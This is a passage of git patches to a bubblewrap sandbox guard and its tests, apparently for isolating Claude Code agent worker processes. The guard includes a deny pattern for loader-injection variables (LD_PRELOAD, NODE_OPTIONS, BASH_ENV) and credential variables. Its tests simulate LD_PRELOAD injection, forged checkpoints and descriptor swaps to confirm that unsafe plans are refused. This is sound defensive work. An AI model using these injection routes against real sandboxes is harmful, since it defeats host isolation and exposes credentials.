storage=createOutputStagingStorage();storage.retain();fs.mkdirSync(join(storage.root,"merged/workspaces"),{recursive:true});unregister=registerNativeFixtureKeeper(storage);output={output:{source:join(storage.root,"merged"),target:"/tmp/brain-maintenance-output",storage},cleanup(){unregister();storage.release();}}; + storage=createOutputStagingStorage();storage.retain(); + if(mode==="ordinary-other-owner"){const fstat=fs.fstatSync;spyOn(fs,"fstatSync").mockImplementation((fd,...args)=>{const info=fstat(fd,...args);let name="";try{name=fs.readlinkSync("/proc/self/fd/"+fd);}catch{}return name.endsWith("/merged")?Object.assign(Object.create(Object.getPrototypeOf(info)),info,{uid:typeof info.uid==="bigint"?info.uid+1n:info.uid+1}):info;});} + fs.mkdirSync(join(storage.root,"merged/workspaces"),{recursive:true});unregister=registerNativeFixtureKeeper(storage);output={output:{source:join(storage.root,"merged"),target:"/tmp/brain-maintenance-output",storage},cleanup(){unregister();storage.release();}}; } const launch={brainPath:brain,startupView:view,areaOutput:output.output,command:[runtime],env:{PATH:"/usr/local/bin:/usr/bin:/bin"},sandbox:{brain,restricted:false,profile:"strict",areas:[{name:"workspaces",rel:"workspaces",mount:{path:join(brain,"workspaces"),writable:true}}],scratchAliasesRemoved:[],dataTree:tree}}; if(mode==="forged"){const forged=join(root,".brain-native/checkpoints/11111111-1111-4111-8111-111111111111");fs.mkdirSync(forged);launch.startupView={...view,root:forged};} - if(mode.startsWith("checkpoint-")||mode.startsWith("managed-")&&mode!=="managed-complete")delete launch.sandbox.dataTree; - if(mode.startsWith("managed-")&&mode!=="managed-complete")delete launch.startupView; + if(mode.startsWith("checkpoint-")||mode.startsWith("managed-")&&mode!=="managed-complete"&&mode!=="managed-snapshot-reuse")delete launch.sandbox.dataTree; + if(mode.startsWith("managed-")&&mode!=="managed-complete"&&mode!=="managed-snapshot-reuse")delete launch.startupView; if(mode==="released"||mode==="checkpoint-released")await view.cleanup(); if(mode==="alias"){fs.symlinkSync(view.root,view.root+"-alias");launch.startupView={...view,root:view.root+"-alias"};} if(mode==="dotdot")launch.startupView={...view,root:view.root+"/../"+view.root.split("/").at(-1)}; @@ -77,14 +92,20 @@ let plan,output,undeclare,otherView;try{ wrapped({options:{spawnClaudeCodeProcess(){plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(launch)});return {};}}});invoke({}); if(mode==="release-before-launch"||mode==="checkpoint-released-before-launch"||mode==="managed-owner-before-launch")await view.cleanup(); if(mode==="managed-fd-before-launch"){const fd=Number(storage.root.split("/").at(-1));fs.closeSync(fd);const replacement=fs.openSync(brain,"r");if(replacement!==fd)throw Error("DESCRIPTOR_REUSE_REQUIRED");} + if(mode==="managed-ticket-before-launch")fs.writeFileSync(join(root,"manager-stage-authority"),"changed"); plan.beforeLaunch(); - if(mode!=="complete"&&mode!=="checkpoint-only"&&mode!=="managed-complete")throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); + if(mode!=="complete"&&mode!=="checkpoint-only"&&mode!=="managed-complete"&&mode!=="managed-snapshot-reuse")throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); const guarded=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; if(!guarded.includes("--unshare-net")||!guarded.some((v,i)=>v==="--dev"&&guarded[i+1]==="/dev")||!guarded.includes("/run/brain-egress/proxy.sock")||!guarded.some((v,i)=>v==="--ro-bind"&&guarded[i+1]==="/dev/null"&&guarded[i+2]===join(brain,".env")))throw Error("STRICT_DEVICES_AND_PINNED_TRANSPORT_MISSING"); // Metadata-only audit completion: no installed runtime is executed in this proof. fs.writeFileSync(guarded[guarded.indexOf("-o")+1],"1 execve("+JSON.stringify(runtime)+", [], 0x1) = 0\\n"); + if(mode==="managed-snapshot-reuse"){ + plan.dispose();plan=undefined; + nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}); + throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); + } console.log("STRICT_PLAN_ALL_BINDS_ADMITTED"); -}finally{plan?.dispose();output?.cleanup();undeclare?.();leave();server.stop(true);await view.cleanup();await otherView?.cleanup();} +}finally{plan?.dispose();output?.cleanup();inheritedLeave?.();undeclare?.();leave();server.stop(true);await view.cleanup();await otherView?.cleanup();} `); const child=spawnGuardFixture([process.execPath,file],{env:{...process.env},timeout:watchdogMs(20000)}); const [code,out,receipts]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);const err=receipts; diff --git a/tests/native-worker-classification.test.ts b/tests/native-worker-classification.test.ts index c54b68bb4f..246eb00fe2 100644 --- a/tests/native-worker-classification.test.ts +++ b/tests/native-worker-classification.test.ts @@ -1,6 +1,6 @@ import {keylessWorkerCommand} from "../packages/ui-sdk/tests/helpers/keyless-worker-command"; import ts from "typescript"; -import {mkdtempSync,rmSync,readFileSync} from "node:fs"; +import {mkdtempSync,rmSync,readFileSync,writeFileSync} from "node:fs"; import {expect,test} from "bun:test"; import {createRequire} from "node:module"; import {join} from "node:path"; @@ -72,3 +72,28 @@ test("keyless protocol peers declare owned executables without a dynamic shell l expect(nativeWorkerBoundary(env).env,"KEYLESS_PEER_PLAN_REMAINS_PRODUCT_PLAN").toBe(env); }finally{rmSync(root,{recursive:true,force:true});} }); + + +test("private-index fixture declaration preserves its ready gate and CLI arguments",async()=>{ + const file="packages/ui-server/tests/private-index.test.ts",source=ts.createSourceFile(file,readFileSync(join(import.meta.dir,"..",file),"utf8"),ts.ScriptTarget.Latest,true); + let body:string|undefined; + const visit=(node:ts.Node):void=>{ + if(ts.isCallExpression(node)&&node.expression.getText(source)==="keylessWorkerCommand"){ + const script=node.arguments[1]; + if(script&&ts.isTemplateExpression(script)){ + expect(script.templateSpans.map(span=>span.expression.getText(source)),"PRIVATE_INDEX_SENTINEL_IS_THE_ONLY_SUBSTITUTION").toEqual(["SENTINEL"]); + body=script.head.text+script.templateSpans.map(span=>"Zakynthosmarker"+span.literal.text).join(""); + } + }ts.forEachChild(node,visit); + };visit(source);expect(body,"PRIVATE_INDEX_DECLARES_ITS_EXACT_EXECUTABLE").toBeDefined(); + const root=mkdtempSync("/tmp/odysseus-private-index-command-"); + try{ + const payload=join(root,"argv.py");writeFileSync(payload,"import sys,json;print(json.dumps(sys.argv[1:]))\n"); + const command=keylessWorkerCommand(root,body!,["/usr/bin/python3",payload]); + expect(nativeWorkerArgvNeedsIsolation(command),"PRIVATE_INDEX_PEER_IS_POSITIVELY_NON_NATIVE").toBe(false); + const child=Bun.spawn(command,{stdin:"pipe",stdout:"pipe",stderr:"pipe"}),reader=child.stdout.getReader(); + const ready=await reader.read();expect(new TextDecoder().decode(ready.value),"PRIVATE_INDEX_READY_GATE_UNCHANGED").toBe("ready\n"); + child.stdin.write("go\n");child.stdin.end();let output="";for(;;){const part=await reader.read();if(part.done)break;output+=new TextDecoder().decode(part.value);}reader.releaseLock(); + const [exit,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(exit,err).toBe(0);expect(JSON.parse(output),"PRIVATE_INDEX_CLI_ARGUMENTS_UNCHANGED").toEqual(["search","Zakynthosmarker","--json","--limit","50"]); + }finally{rmSync(root,{recursive:true,force:true});} +}); From d4be13b5403475cb6d45b69cc5a140f4b16789db Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 05:23:37 +0000 Subject: [PATCH 093/187] fix(test): preserve product native environments by default --- scripts/test-native-guard.ts | 22 ++++++++++++++-------- tests/native-managed-inspection.test.ts | 4 ++-- tests/native-offline-boundary.test.ts | 13 +++++++++---- tests/native-restricted-plan.test.ts | 5 +++-- 4 files changed, 28 insertions(+), 16 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 8888f10b89..2cca5d47c2 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -19,10 +19,16 @@ const metadataSpawnSync = Bun.spawnSync.bind(Bun); const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; const SYSTEM_FILES = ["/etc/ld.so.cache", "/etc/localtime", "/etc/os-release"]; const FORBIDDEN_BIND_ROOTS = new Set(["/", "/run", "/var/run", "/tmp", "/dev", "/dev/shm", "/home", "/var/lib", "/etc", "/var"]); -export const WORKER_RUNTIME_ENV:ReadonlySet = new Set(["HOME", "CLAUDE_CONFIG_DIR", "LANG", "LC_ALL", "TERM", "SHELL", "USER", "LOGNAME", "TMPDIR", - "XDG_CONFIG_HOME", "XDG_CACHE_HOME", "XDG_DATA_HOME", "XDG_STATE_HOME", "XDG_RUNTIME_DIR", - "BRAIN_ROOT", "BRAIN_WORKER_DATA_ROOT", "BRAIN_WORKER_CONFIG_ROOT", "BRAIN_WORKER_SCRATCH", "BRAIN_WITHHELD_KEYS", "BRAIN_PROVIDER_RELAY_SOCKET", - "ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY", "CLAUDE_CODE_USE_BEDROCK", "CLAUDE_CODE_USE_VERTEX", "CLAUDE_CODE_USE_FOUNDRY", "ENABLE_TOOL_SEARCH", "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "DISABLE_AUTOUPDATER", "DISABLE_PROMPT_CACHING"]); +/** Product environment is the default. These names carry host authority or + * executable injection into an otherwise isolated native process. Provider + * credentials are reintroduced only by syntheticCredentials/relay projection. + * Transport, HOME/PATH, test channels and the deadline factor are guard-owned; + * locale, SDK, telemetry and arbitrary product switches are not. */ +export function nativeProductEnvironment(env:Record):Record { + return Object.fromEntries(Object.entries(env).filter(([key,value])=>typeof value==="string" + && !/^(?:LD_|DYLD_|AWS_|AZURE_|GOOGLE_APPLICATION_CREDENTIALS$)/.test(key) + && !["NODE_OPTIONS","BUN_OPTIONS","BASH_ENV","ENV","ANTHROPIC_API_KEY","ANTHROPIC_AUTH_TOKEN","CLAUDE_CODE_OAUTH_TOKEN","BRAIN_NATIVE_RECEIPT"].includes(key))) as Record; +} const within = (root: string, path: string) => path === root || path.startsWith(`${root}/`); let qualified = false; let bwrapExecutable = "bwrap", straceExecutable = "strace", socketPolicyExecutable = ""; @@ -549,7 +555,7 @@ export function nativeDistributionConfigFiles(directory:string):string[]{ if(realpathSync(directory)!==directory||!lstatSync(directory).isDirectory())throw Error("Distribution configuration directory is not canonical"); return readdirSync(directory).map(name=>{ const path=join(directory,name),real=realpathSync(path),info=lstatSync(path); - if(!name.endsWith(".conf")||!within("/etc",real)||!statSync(real).isFile()||(!info.isFile()&&!info.isSymbolicLink()))throw Error("Distribution configuration must contain only regular config files inside etc"); + if(!name.endsWith(".conf")||!within("/etc",real)||!statSync(real).isFile()||!info.isFile())throw Error("Distribution configuration must contain only non-symlink regular config files inside etc"); return path; }); } @@ -682,8 +688,8 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const beforeLaunch = () => assertNativeMountSockets(mounts, route.origin); beforeLaunch(); const argv = [bwrapExecutable, "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...mounts, "--clearenv"]; - const childEnv: Record = { ...Object.fromEntries(Object.entries(env).filter(([key,value])=>WORKER_RUNTIME_ENV.has(key)&&typeof value==="string")) as Record, HOME: home, CLAUDE_CONFIG_DIR: versionHome ?? env.CLAUDE_CONFIG_DIR ?? home, - PATH: tools.path, LANG: "C.UTF-8", + const childEnv: Record = { ...nativeProductEnvironment(env), HOME: home, + PATH: tools.path, ...nativeDirectTransportEnvironment(env,Boolean(inheritedOrigin)), ...(!authStatus?{BRAIN_TEST_EFFECT_SOCKET:"/tmp/native-relay/relay.sock"}:{}), }; @@ -1557,7 +1563,7 @@ export function nativeWorkerBoundary(env: Record): { if (workerArgv[i] === "--ro-bind" && workerArgv[i + 1] === "/" && workerArgv[i + 2] === "/") workerArgv.splice(i--, 3); else if (workerArgv[i] === "--ro-bind" && ["/etc/alternatives", "/etc/ssl/certs"].includes(workerArgv[i + 2]!)) workerArgv.splice(i--, 3); else if (workerArgv[i] === "--ro-bind" && [...nativeDistributionConfigNames,...nativeSyntheticSystemNames].some(name=>workerArgv[i+2]===`/etc/${name}`&&existsSync(`/etc/${name}`)&&workerArgv[i+1]===realpathSync(`/etc/${name}`))) workerArgv.splice(i--,3); - else if (workerArgv[i] === "--setenv" && !WORKER_RUNTIME_ENV.has(workerArgv[i + 1]!)) workerArgv.splice(i--, 3); + else if (workerArgv[i] === "--setenv" && !Object.hasOwn(nativeProductEnvironment({[workerArgv[i+1]!]:workerArgv[i+2]!}),workerArgv[i+1]!)) workerArgv.splice(i--, 3); } workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", "--unshare-pid"); const pinned = { BRAIN_TEST_EFFECT_SOCKET:ownedOrigin?socket!:"/tmp/native-relay/relay.sock", ...nativeDirectTransportEnvironment(launch.env??{},Boolean(ownedOrigin)),...(ownedOrigin?{ANTHROPIC_UNIX_SOCKET:socket!}:{}), diff --git a/tests/native-managed-inspection.test.ts b/tests/native-managed-inspection.test.ts index e65d380855..94861060af 100644 --- a/tests/native-managed-inspection.test.ts +++ b/tests/native-managed-inspection.test.ts @@ -3,7 +3,7 @@ import {mkdtempSync,mkdirSync,readFileSync,rmSync} from "node:fs"; import {join} from "node:path"; import ts from "typescript"; import {fixtureSources,nativeSdkLauncher} from "./helpers/native-launcher-inventory"; -import {captureNativeFixtureStage,WORKER_RUNTIME_ENV} from "../scripts/test-native-guard"; +import {captureNativeFixtureStage,nativeProductEnvironment} from "../scripts/test-native-guard"; for(const mode of ["valid","wrong-uid","wrong-bytes","changed","outside","unsupported","over-bound"] as const)test(`managed inspection uses bounded private reader: ${mode}`,async()=>{ const root=mkdtempSync("/tmp/odysseus-stage-inspection-"); @@ -34,7 +34,7 @@ test("all native fixture runtime switches are preserved by the guard projection" if(ts.isPropertyAssignment(node)){ const name=ts.isIdentifier(node.name)||ts.isStringLiteral(node.name)?node.name.text:""; if(/^(?:CLAUDE_CODE_(?:DISABLE|ENABLE|USE)_|DISABLE_|ENABLE_)/.test(name)){ - seen.add(name);expect(WORKER_RUNTIME_ENV.has(name),"NATIVE_FIXTURE_RUNTIME_SWITCH_PRESERVED "+file+":"+name).toBe(true); + seen.add(name);expect(nativeProductEnvironment({[name]:"fixture-value"})[name],"NATIVE_FIXTURE_RUNTIME_SWITCH_PRESERVED "+file+":"+name).toBe("fixture-value"); } }ts.forEachChild(node,visit); };visit(source); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index e255cf402e..3c0ad95124 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -289,7 +289,7 @@ test("isolated plans preserve synthetic credential precedence and an unauthentic writeFileSync(boundary.argv[boundary.argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});boundary.dispose(); const worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_UNIX_SOCKET:"",...creds},argv:["bwrap","--setenv","ODYSSEUS_OTHER_KEY","synthetic-outside-key","--setenv","LD_PRELOAD","synthetic-loader","--",${JSON.stringify(runtime)}]})}); const argv=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv,workerEnv={}; - if(argv.includes("synthetic-outside-key")||argv.includes("synthetic-loader"))throw Error("non-runtime worker environment escaped isolation"); + if(!argv.includes("synthetic-outside-key")||argv.includes("synthetic-loader"))throw Error("PRODUCT_KEY_PRESERVED_AND_LOADER_INJECTION_REMOVED"); for(let i=0;inew Response("Ithaca")});const leave=nativeScriptedService(recorder.url.origin,{fixtureRoots:[${JSON.stringify(scratch)}],fixtureCredentials:{CLAUDE_CODE_OAUTH_TOKEN:"sk-ant-oat01-odysseus-fixture"}}); const source=${JSON.stringify(join(scratch,"product-inference.sock"))},target="/run/brain-egress/inference.sock",relay=Bun.serve({unix:source,fetch:()=>new Response("Ithaca")}); + async function sdkEnvironment(env){let captured;const sentinel=new Error("CAPTURE_ONLY_NO_NATIVE_EXEC");let result;try{result=query({prompt:"Ithaca",options:{env,pathToClaudeCodeExecutable:${JSON.stringify(runtime)},spawnClaudeCodeProcess(spec){captured=spec.env;throw sentinel;}}});for await(const message of result){}}catch(error){if(!captured)throw error;}finally{result?.close?.();}if(!captured)throw Error("REAL_SDK_ENV_REQUIRED");return captured;} + const productBrain=${JSON.stringify(join(scratch,"product-brain"))};mkdirSync(productBrain);const startupView=createFixtureWorkerStartupView(productBrain); + try { const declaredKey="sk-ant-api03-"+"d".repeat(95)+"AA",completed=[]; for(const path of ["direct","prewarm","worker","relayed","separate-UID"]){ for(const productSocket of (path==="relayed"?[true]:[false,true]))for(const flag of [undefined,"0","1"]){ - const env={HOME:${JSON.stringify(scratch)},CLAUDE_CONFIG_DIR:${JSON.stringify(scratch)},PATH:"/usr/bin:/bin",LANG:"C.UTF-8",CLAUDE_CODE_USE_BEDROCK:"",CLAUDE_CODE_USE_VERTEX:"",CLAUDE_CODE_USE_FOUNDRY:"",DISABLE_PROMPT_CACHING:"1",...(flag===undefined?{}:{CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC:flag,DISABLE_AUTOUPDATER:flag}),ANTHROPIC_BASE_URL:recorder.url.origin,ANTHROPIC_API_KEY:productSocket?"brain-inference-relay-placeholder":declaredKey,...(!productSocket?{CLAUDE_CODE_OAUTH_TOKEN:"sk-ant-oat01-odysseus-fixture"}:{}),...(productSocket?{ANTHROPIC_UNIX_SOCKET:target}:{})}; + let env={HOME:${JSON.stringify(scratch)},CLAUDE_CONFIG_DIR:${JSON.stringify(scratch)},PATH:"/usr/bin:/bin",LANG:"el_GR.UTF-8",CLAUDE_CODE_ENTRYPOINT:"fixture-sdk",CLAUDE_AGENT_SDK_VERSION:"fixture-version",CLAUDE_CODE_ENABLE_TELEMETRY:"1",OTEL_SERVICE_NAME:"odysseus",MAX_THINKING_TOKENS:"1024",NO_COLOR:"1",BRAIN_MCP_PREFIX:"odysseus",ODYSSEUS_UNLISTED_PRODUCT_KEY:"Ithaca",CLAUDE_CODE_USE_BEDROCK:"",CLAUDE_CODE_USE_VERTEX:"",CLAUDE_CODE_USE_FOUNDRY:"",DISABLE_PROMPT_CACHING:"1",...(flag===undefined?{}:{CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC:flag,DISABLE_AUTOUPDATER:flag}),ANTHROPIC_BASE_URL:recorder.url.origin,ANTHROPIC_API_KEY:productSocket?"brain-inference-relay-placeholder":declaredKey,...(!productSocket?{CLAUDE_CODE_OAUTH_TOKEN:"sk-ant-oat01-odysseus-fixture"}:{}),...(productSocket?{ANTHROPIC_UNIX_SOCKET:target}:{})}; + if(path==="direct"||path==="prewarm")env=await sdkEnvironment(env); + else{const productArgv=launcher.workerCommand({brainPath:productBrain,startupView,command:[${JSON.stringify(runtime)}],env});const projected={};for(let i=0;i{ +for(const kind of ["regular","outside-symlink","inside-symlink","directory"] as const)test(`distribution config view refuses non-config authority: ${kind}`,async()=>{ const {mkdirSync,writeFileSync,symlinkSync}=await import("node:fs"),root=mkdtempSync("/tmp/odysseus-linker-config-"),configs=join(root,"configs");mkdirSync(configs); try{ if(kind==="regular")writeFileSync(join(configs,"odysseus.conf"),"/usr/lib\n"); if(kind==="outside-symlink"){writeFileSync(join(root,"outside.conf"),"Odysseus\n");symlinkSync(join(root,"outside.conf"),join(configs,"odysseus.conf"));} + if(kind==="inside-symlink")symlinkSync("/etc/hosts",join(configs,"odysseus.conf")); if(kind==="directory")mkdirSync(join(configs,"odysseus.conf")); const script=`import {nativeDistributionConfigFiles} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))};console.log(JSON.stringify(nativeDistributionConfigFiles("/etc/ld.so.conf.d")));`; const child=Bun.spawn(["bwrap","--unshare-user","--ro-bind","/","/","--ro-bind",configs,"/etc/ld.so.conf.d","--proc","/proc","--dev","/dev","--",process.execPath,"-e",script],{stdout:"pipe",stderr:"pipe"}); const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); if(kind==="regular"){expect(exit,err).toBe(0);expect(JSON.parse(out)).toEqual(["/etc/ld.so.conf.d/odysseus.conf"]);} - else{expect(exit,"NON_CONFIG_LINKER_INPUT_REFUSED").not.toBe(0);expect(err).toContain("only regular config files inside etc");} + else{expect(exit,"NON_CONFIG_LINKER_INPUT_REFUSED").not.toBe(0);expect(err).toContain("only non-symlink regular config files inside etc");} }finally{rmSync(root,{recursive:true,force:true});} }); From 57597507980799e6bcb72ccf3046fcf57f551cf2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 05:46:19 +0000 Subject: [PATCH 094/187] fix(test): contain unknown native launches with tripwire masks --- .../tests/provider-denied-memory.test.ts | 6 +- .../tests/state-room-warning.test.ts | 5 +- .../tests/worker-event-loop.test.ts | 4 +- .../ui-backend-claude/tests/worker.test.ts | 4 +- .../tests/duplicate-acquisition.test.ts | 5 +- .../tests/early-cancel-lifecycle.test.ts | 9 +- packages/ui-sdk/tests/governed-worker.test.ts | 6 +- .../tests/helpers/keyless-worker-command.ts | 9 - packages/ui-sdk/tests/worker-status.test.ts | 5 +- .../tests/worker-steps-event-loop.test.ts | 3 +- .../tests/autonomous-provider-masks.test.ts | 6 +- .../ui-server/tests/governance-policy.test.ts | 51 ++-- .../tests/helpers/fixture-native-startup.ts | 4 +- .../tests/helpers/fixture-private-index.ts | 32 +++ .../tests/helpers/native-app-fixture.ts | 6 +- .../ui-server/tests/helpers/scope-fixture.ts | 3 +- packages/ui-server/tests/helpers/test-app.ts | 9 +- .../tests/private-index-stdio-release.test.ts | 5 +- .../ui-server/tests/private-index.test.ts | 4 +- .../tests/provider-continuation-state.test.ts | 6 +- packages/ui-server/tests/turn-scope.test.ts | 3 +- .../ui-server/tests/ws-scope-caps.test.ts | 4 +- scripts/capture-turn-surface.ts | 2 +- scripts/measure-claude-haiku.ts | 33 +-- scripts/native-test-receipts.ts | 53 +++- scripts/test-native-guard.ts | 249 +++++++++++++++--- scripts/test-network-guard.ts | 16 +- tests/native-guard-regressions.test.ts | 46 ++++ tests/native-offline-boundary.test.ts | 6 +- tests/native-private-index-role.test.ts | 34 +++ tests/native-receipt-channel.test.ts | 26 ++ tests/native-strict-admission.test.ts | 3 +- tests/native-tripwire.test.ts | 137 ++++++++++ tests/native-worker-classification.test.ts | 60 +++-- 34 files changed, 657 insertions(+), 197 deletions(-) delete mode 100644 packages/ui-sdk/tests/helpers/keyless-worker-command.ts create mode 100644 packages/ui-server/tests/helpers/fixture-private-index.ts create mode 100644 tests/native-guard-regressions.test.ts create mode 100644 tests/native-private-index-role.test.ts create mode 100644 tests/native-tripwire.test.ts diff --git a/packages/ui-backend-claude/tests/provider-denied-memory.test.ts b/packages/ui-backend-claude/tests/provider-denied-memory.test.ts index 4e5bd65b9b..c027194f8d 100644 --- a/packages/ui-backend-claude/tests/provider-denied-memory.test.ts +++ b/packages/ui-backend-claude/tests/provider-denied-memory.test.ts @@ -1,4 +1,3 @@ -import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; import { usageEvents } from "./helpers/usage-events.js"; import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** @@ -44,9 +43,8 @@ async function run(denied: boolean) { `mkdir -p "$M"; printf 'Penelope waits.\\n' > "$M/MEMORY.md"; printf 'Athena counsels.\\n' > "$M/athena.md"`, "exit 0", ].join("; "); - const command=keylessWorkerCommand(root,script,[`--resume=${SESSION}`]); - const child = params.options!.spawnClaudeCodeProcess!({ command: command[0], - args: command.slice(1), cwd: brain, + const child = params.options!.spawnClaudeCodeProcess!({ command: "/bin/sh", + args: ["-c", script, `--resume=${SESSION}`], cwd: brain, env: { PATH: "/usr/bin:/bin", CLAUDE_CONFIG_DIR: config, PROJECT: project, SESSION }, signal: new AbortController().signal } as never); workerExit = new Promise(resolve => child.once("exit", (code: number | null) => resolve(code))); diff --git a/packages/ui-backend-claude/tests/state-room-warning.test.ts b/packages/ui-backend-claude/tests/state-room-warning.test.ts index ade7bd43bc..08ad661f57 100644 --- a/packages/ui-backend-claude/tests/state-room-warning.test.ts +++ b/packages/ui-backend-claude/tests/state-room-warning.test.ts @@ -1,4 +1,3 @@ -import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** Actual keyless namespace, admission copy and result; only the provider stream is a fixture. */ import { expect, spyOn, test } from "bun:test"; @@ -33,8 +32,8 @@ test(`${percent}% resumed state${voice ? " voice" : ""}${failedStart ? " failed let exited: Promise | undefined; const queryFn = ((params: { options: Options }) => { const stream = (async function* () { - const command=keylessWorkerCommand(root,failedStart ? "exec /nonexistent-odysseus-runtime" : `printf ready; test "$(wc -c < \"$CLAUDE_CONFIG_DIR/$PROJECT/$SESSION.jsonl\")" -eq ${used - PAGE}`,[`--resume=${SESSION}`]); - const child = params.options.spawnClaudeCodeProcess!({ command: command[0], args: command.slice(1), + const child = params.options.spawnClaudeCodeProcess!({ command: failedStart ? "/nonexistent-odysseus-runtime" : "/bin/sh", + args: ["-c", `printf ready; test "$(wc -c < \"$CLAUDE_CONFIG_DIR/$PROJECT/$SESSION.jsonl\")" -eq ${used - PAGE}`, `--resume=${SESSION}`], cwd: brain, env: { PATH: "/usr/bin:/bin", CLAUDE_CONFIG_DIR: config, PROJECT: project, SESSION }, signal: new AbortController().signal } as never); exited = new Promise(resolve => child.once("exit", (code: number | null) => resolve(code))); // The runtime submits a prompt only once it runs; its worker starts diff --git a/packages/ui-backend-claude/tests/worker-event-loop.test.ts b/packages/ui-backend-claude/tests/worker-event-loop.test.ts index c28c6f6cc7..20e8f8cabb 100644 --- a/packages/ui-backend-claude/tests/worker-event-loop.test.ts +++ b/packages/ui-backend-claude/tests/worker-event-loop.test.ts @@ -4,7 +4,6 @@ * loop free (#2790, #2796). A 1 ms timer cannot fire during synchronous work, * so each test counts its ticks while the real worker starts. */ -import { keylessWorkerCommand } from "../../ui-sdk/tests/helpers/keyless-worker-command"; import { expect, spyOn, test } from "bun:test"; import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { join, resolve } from "node:path"; @@ -109,8 +108,7 @@ test.skipIf(!native)("a started worker's failed lifecycle stays handled until th const spawner = createWorkerSpawn(f.brain, {}, new AbortController().signal, undefined, sandbox, undefined, undefined, {}, undefined, () => { throw new Error("Odysseus scope freezer refused"); }); try { - const [command,...args]=keylessWorkerCommand(f.root,"while :; do sleep 1; done"); - const child = spawner.spawn({ command, args, env: { CLAUDE_CONFIG_DIR: f.config, HOME: f.home }, + const child = spawner.spawn({ command: "/bin/sh", args: ["-c", "while :; do sleep 1; done"], env: { CLAUDE_CONFIG_DIR: f.config, HOME: f.home }, signal: new AbortController().signal } as never); child.on("error", () => {}); child.stdout.resume(); child.stdin.end(); await new Promise(done => child.once("exit", done)); diff --git a/packages/ui-backend-claude/tests/worker.test.ts b/packages/ui-backend-claude/tests/worker.test.ts index 3f09b5abfb..097af029ef 100644 --- a/packages/ui-backend-claude/tests/worker.test.ts +++ b/packages/ui-backend-claude/tests/worker.test.ts @@ -1,4 +1,3 @@ -import { keylessWorkerCommand } from "../../ui-sdk/tests/helpers/keyless-worker-command"; import { expect, test, spyOn } from "bun:test"; import { existsSync, linkSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, realpathSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -138,8 +137,7 @@ test("a throwing worker-start callback kills and drains its real child before re { ledger, limits, turnTempLimits: { allowanceBytes: 1024 * 1024, budgetBytes: 1024 * 1024 } }, undefined, started => { worker = started as import("@schlessera/brain-ui-sdk/internal").LaunchedWorker; throw Error("Odysseus scope freezer refused"); }); try { - const [command, ...args] = keylessWorkerCommand(root, "while :; do sleep 1; done"); - const child = spawner.spawn({ command, args, + const child = spawner.spawn({ command: "/bin/sh", args: ["-c", "while :; do sleep 1; done"], env: { CLAUDE_CONFIG_DIR: saved, HOME: home }, signal: new AbortController().signal } as never); child.on("error", error => errors.push(error.message)); child.on("exit", (code, signal) => exits.push([code, signal])); child.stdout.resume(); child.stdin.end(); diff --git a/packages/ui-backend-pi/tests/duplicate-acquisition.test.ts b/packages/ui-backend-pi/tests/duplicate-acquisition.test.ts index cfece39a37..1cf23b5f73 100644 --- a/packages/ui-backend-pi/tests/duplicate-acquisition.test.ts +++ b/packages/ui-backend-pi/tests/duplicate-acquisition.test.ts @@ -1,4 +1,3 @@ -import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; /** * #2918: two concurrent resumes of one non-resident session through the public * `startTurn` each launch a real worker; the later return loses the pool race. @@ -13,7 +12,7 @@ import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-co import { afterEach, expect, spyOn, test } from "bun:test"; import { mkdirSync, mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; -import { dirname, join } from "node:path"; +import { join } from "node:path"; import * as worker from "@schlessera/brain-ui-sdk/internal"; import { BackendBusyError, type ServerMessage } from "@schlessera/brain-ui-sdk/server"; import { createPiBackend, type PiSessionLike } from "../src/backend.js"; @@ -68,7 +67,7 @@ for (const refused of 